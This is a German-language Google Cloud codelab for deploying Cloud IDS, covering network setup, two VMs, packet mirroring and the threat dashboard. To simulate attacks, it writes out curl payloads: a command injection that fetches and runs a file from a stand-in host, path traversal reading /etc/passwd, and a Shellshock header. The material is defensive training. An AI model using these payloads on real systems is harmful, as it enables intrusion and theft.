Cloud IDS

1. Einführung

In diesem Lab stellen Sie Cloud IDS bereit, einen modernen Einbruchserkennungsdienst der nächsten Generation, der Bedrohungserkennung bei Einbrüchen, Malware, Spyware und Command-and-Control-Angriffen bietet. Sie simulieren mehrere Angriffe und sehen sich die Bedrohungsdetails in der Cloud Console an.

Lerninhalte

  • Cloud IDS-Endpunkt erstellen
  • Mit gcloud-Befehlen zwei virtuelle Maschinen erstellen
  • Paketspiegelungsrichtlinie erstellen
  • Angriffstraffic von einer VM simulieren
  • Bedrohungsdetails in der Cloud Console und in Cloud Logging ansehen

Voraussetzungen

  • Kenntnisse der grundlegenden Linux-Befehle

2. Cloud IDS-Anwendungsfälle

Cloud IDS ist ein in Google Cloud integrierter Next-Gen-Einbruchserkennungsdienst (Intrusion Detection Service, IDS), mit dem Kunden ihre Anforderungen an die erweiterte Bedrohungserkennung und Compliance wie PCI 11.4 erfüllen können. Der Dienst basiert auf den Bedrohungsschutztechnologien von Palo Alto Networks und bietet eine erweiterte Einbruchserkennung. Die Kombination aus der erstklassigen Infrastruktur von Google Cloud und der erstklassigen Sicherheit von Palo Alto Networks bietet Kunden eine unübertroffene Kombination aus einem vollständig verwalteten, leistungsstarken Dienst zur Erkennung von komplexen Bedrohungen mit höchster Sicherheitseffizienz.

Wenn Kunden in die Cloud migrieren, hat Sicherheit für sie oberste Priorität. Sie möchten ähnliche Sicherheitskontrollen wie in ihren On-Premise-Umgebungen haben, z. B. einen Dienst zur Erkennung von Eindringlingen (Intrusion Detection Service, IDS) in der Cloud. Sie bevorzugen eine cloudnative verwaltete IDS-Lösung, da sie im Vergleich zur Bereitstellung einer Sicherheitslösung eines Drittanbieters und der Verwaltung der Infrastruktur oder der Verwendung eigener Signaturen einfacher bereitzustellen ist, eine hohe Leistung bietet und die Kosten optimiert. Google Cloud IDS bietet einen verwalteten End-to-End-IDS-Dienst mit Autoscaling, mit dem Kunden Zeit für die Analyse und Eindämmung von Bedrohungen gewinnen und Zeit und Ressourcen für die Verwaltung der Infrastruktur oder Bedrohungssignaturen freigeben können.

Cloud IDS wird out-of-band bereitgestellt und kann Bedrohungen erkennen und Benachrichtigungen ausgeben, aber Bedrohungen nicht blockieren. Dabei wird die Paketspiegelung von Google Cloud verwendet, um eine Kopie des Netzwerk-Traffics zu erstellen, die mit der Bedrohungserkennungs-Engine von Palo Alto Networks analysiert wird.

3. Codelab-Topologie

5a276f399e1d31e2.png

Abbildung 1. Übersicht über die Architektur für die Cloud IDS-Bereitstellung für dieses Lab.

4. Einrichtung und Anforderungen

Umgebung zum selbstbestimmten Lernen einrichten

  1. Melden Sie sich in der Google Cloud Console an und erstellen Sie ein neues Projekt oder verwenden Sie ein vorhandenes. Wenn Sie noch kein Gmail- oder Google Workspace-Konto haben, müssen Sie eines erstellen.

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • Der Projektname ist der Anzeigename für die Teilnehmer dieses Projekts. Es handelt sich um einen String, der nicht von Google APIs verwendet wird und den Sie jederzeit aktualisieren können.
  • Die Projekt-ID muss für alle Google Cloud-Projekte eindeutig sein und ist unveränderlich (kann nach der Festlegung nicht mehr geändert werden). In der Cloud Console wird automatisch ein eindeutiger String generiert. Normalerweise ist es nicht wichtig, wie dieser aussieht. In den meisten Codelabs müssen Sie auf die Projekt-ID verweisen (die in der Regel als PROJECT_ID angegeben wird). Wenn Ihnen die ID nicht gefällt, können Sie eine andere zufällige ID generieren oder eine eigene ID ausprobieren und sehen, ob sie verfügbar ist. Nachdem das Projekt erstellt wurde, wird es „eingefroren“.
  • Es gibt einen dritten Wert, die Projektnummer, die von einigen APIs verwendet wird. Weitere Informationen zu diesen drei Werten
  1. Als Nächstes müssen Sie die Abrechnung in der Cloud Console aktivieren, um Cloud-Ressourcen/-APIs verwenden zu können. Die Durchführung dieses Codelabs sollte keine oder nur geringe Kosten verursachen. Wenn Sie Ressourcen herunterfahren möchten, damit nach Abschluss dieses Codelabs keine Gebühren anfallen, folgen Sie den Bereinigungsanweisungen am Ende des Codelabs. Neue Nutzer von Google Cloud kommen für das Programm für kostenlose Testversionen mit einem Guthaben von 300$ infrage.

Cloud Shell starten

Während Sie Google Cloud von Ihrem Laptop aus per Fernzugriff nutzen können, wird in diesem Codelab Google Cloud Shell verwendet, eine Befehlszeilenumgebung, die in der Cloud ausgeführt wird.

Klicken Sie in der GCP Console oben rechts in der Symbolleiste auf das Cloud Shell-Symbol:

bce75f34b2c53987.png

Die Bereitstellung und Verbindung mit der Umgebung sollte nur wenige Augenblicke dauern. Anschließend sehen Sie in etwa Folgendes:

f6ef2b5f13479f3a.png

Diese virtuelle Maschine verfügt über sämtliche Entwicklertools, die Sie benötigen. Sie bietet ein Basisverzeichnis mit 5 GB nichtflüchtigem Speicher und läuft in Google Cloud, was die Netzwerkleistung und Authentifizierung erheblich verbessert. Für dieses Lab benötigen Sie lediglich einen Browser.

5. Hinweis

APIs aktivieren

Prüfen Sie in Cloud Shell, ob Ihre Projekt-ID eingerichtet ist.

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

Alle erforderlichen Dienste aktivieren

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. VPC-Netzwerk erstellen

VPC-Netzwerk

Über Cloud Shell

gcloud compute networks create cloud-ids \
--subnet-mode=custom

Subnetz

Über Cloud Shell

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

Private Service Access

Über Cloud Shell

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connect

Über Cloud Shell

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

Firewallregeln

Damit IAP eine Verbindung zu Ihren VM-Instanzen herstellen kann, erstellen Sie eine Firewallregel, die:

  • Gilt für alle VM-Instanzen, die über IAP zugänglich sein sollen.
  • Lässt eingehenden Traffic aus dem IP-Bereich 35.235.240.0/20 zu. Dieser Bereich enthält alle IP-Adressen, die IAP für die TCP-Weiterleitung verwendet.

Über Cloud Shell

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

So lassen Sie den Standard-HTTP-Port (TCP 80) und das ICMP-Protokoll für den Server zu:

  • Gilt für Ressourcen mit dem Netzwerk-Tag „server“
  • Eingehender Traffic von allen Quellen ist zulässig

Über Cloud Shell

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT-Instanz erstellen

Cloud Router

Über Cloud Shell

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Über Cloud Shell

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS-Endpunkt erstellen

In diesem Abschnitt erstellen Sie einen Cloud IDS-Endpunkt in us-east1 mit dem Schweregrad „Informational“. Die Erstellung des IDS-Endpunkts dauert etwa 20 Minuten.

IDS-Endpunkt

Über Cloud Shell

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

Prüfen, ob der Cloud IDS-Endpunkt initialisiert wurde

gcloud ids endpoints list --project=$PROJECT_ID

Ausgabe –

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. 2 virtuelle Maschinen erstellen

In diesem Abschnitt erstellen Sie zwei virtuelle Maschinen. Der erste ist Ihr Webserver, der an Cloud IDS gespiegelt wird. Die zweite virtuelle Maschine ist die Quelle für den Angriffs-Traffic.

Virtuelle Maschine 1 (Server)

Über Cloud Shell

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

Virtuelle Maschine 2 (Client)

Über Cloud Shell

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. Server vorbereiten

In dieser Aufgabe validieren Sie Ihren Server und stellen eine harmlose Malware-Payload für Ihren Client bereit.

SSH-Verbindung zur VM über Cloud Shell herstellen

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

Prüfen, ob der Webdienst ausgeführt wird

sudo systemctl status nginx

Ausgabe – prüfen, ob aktiv und wird ausgeführt

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

Verzeichnis zum Webdienst ändern

cd /var/www/html/

Erstellen Sie eine harmlose Malware-Datei auf dem Webserver.

sudo touch eicar.file

Inhalte einfügen

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Zurück zu Cloud Shell

exit

Cloud IDS-Paketspiegelungsrichtlinie erstellen

Suchen Sie die Weiterleitungsregel für den IDS-Endpunkt und prüfen Sie, ob der Status des IDS-Endpunkts „READY“ (BEREIT) ist.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

Beispielausgabe – Kopieren Sie den Wert aus „endpointForwardingRule“.

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

Speichern Sie die Weiterleitungsregel für den IDS-Endpunkt in einer Variablen.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

Richtlinie für die Paketspiegelung

Über Cloud Shell

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

Prüfen, ob die Paketspiegelungsrichtlinie erstellt wurde

Über Cloud Shell

gcloud compute packet-mirrorings list

Ausgabe

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. Angriffs-Traffic simulieren

SSH-Verbindung zur virtuellen Maschine des Angreifers (Client) herstellen

Über Cloud Shell

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

Führen Sie die folgenden curl-Anfragen aus, um schädlichen Traffic zu simulieren.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

VM beenden, um zu Cloud Shell zurückzukehren

exit

11. Von Cloud IDS erkannte Bedrohungen prüfen

Cloud IDS-Dashboard aufrufen

Navigationsmenü > Netzwerksicherheit > Cloud IDS

37583419aa604aa8.png

Rufen Sie den Tab „Bedrohungen“ auf.

b7d934f409b4e2b.png

Wie Sie sehen, hat Cloud IDS verschiedene Angriffstraffic-Profile erfasst und Details zu jeder Bedrohung bereitgestellt. Wenn keine Bedrohungen angezeigt werden, müssen Sie möglicherweise auf die Schaltfläche „Aktualisieren“ klicken. Sehen wir uns nun die Bedrohungsdetails genauer an.

Suchen Sie nach der Bedrohung „Bash Remote Code Execution Vulnerability“ (Bash-Sicherheitslücke für die Ausführung von Remote-Code) und klicken Sie rechts auf die drei Punkte. Wählen Sie dann „View threat details“ (Bedrohungsdetails ansehen) aus.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

Sehen wir uns nun die Details dieses Vorfalls in Cloud Logging an. Klicken Sie auf den Pfeil nach links , um zur Seite „Bedrohungen“ zurückzukehren .

Klicken Sie rechts auf das Dreipunkt-Menü und wählen Sie „Bedrohungslogs ansehen“ aus.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

Dieselben Details werden an Cloud Logging gesendet. So können Sie die Logs an Cloud Storage, Chronicle oder ein beliebiges SIEM/SOAR senden. Sie können auch benutzerdefinierte Workflows erstellen, um auf Grundlage von Benachrichtigungen Abhilfemaßnahmen zu ergreifen, z.B. eine Cloud-Funktion erstellen, die durch eine Benachrichtigung ausgelöst wird, und eine Firewallregel erstellen/aktualisieren, um die IP-Adresse zu blockieren, oder eine Cloud Armor-Richtlinie erstellen/aktualisieren.

12. Bereinigungsschritte

VM-Instanz beenden (alle Tabs)

exit

Lab-Komponenten über ein einzelnes Cloud Shell-Terminal löschen

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. Glückwunsch!

Herzlichen Glückwunsch zum Abschluss des Codelabs.

Behandelte Themen

  • Cloud IDS-Anwendungsfälle
  • Netzwerkanforderungen
  • Unterstützte APIs
  • Cloud IDS-Endpunkt erstellt
  • 2 VMs bereitgestellt
  • „Angriffs“-Traffic vom Client generiert
  • Von IDS erkannte bestätigte Bedrohungen
  • Details zu Bedrohungen und Protokolle prüfen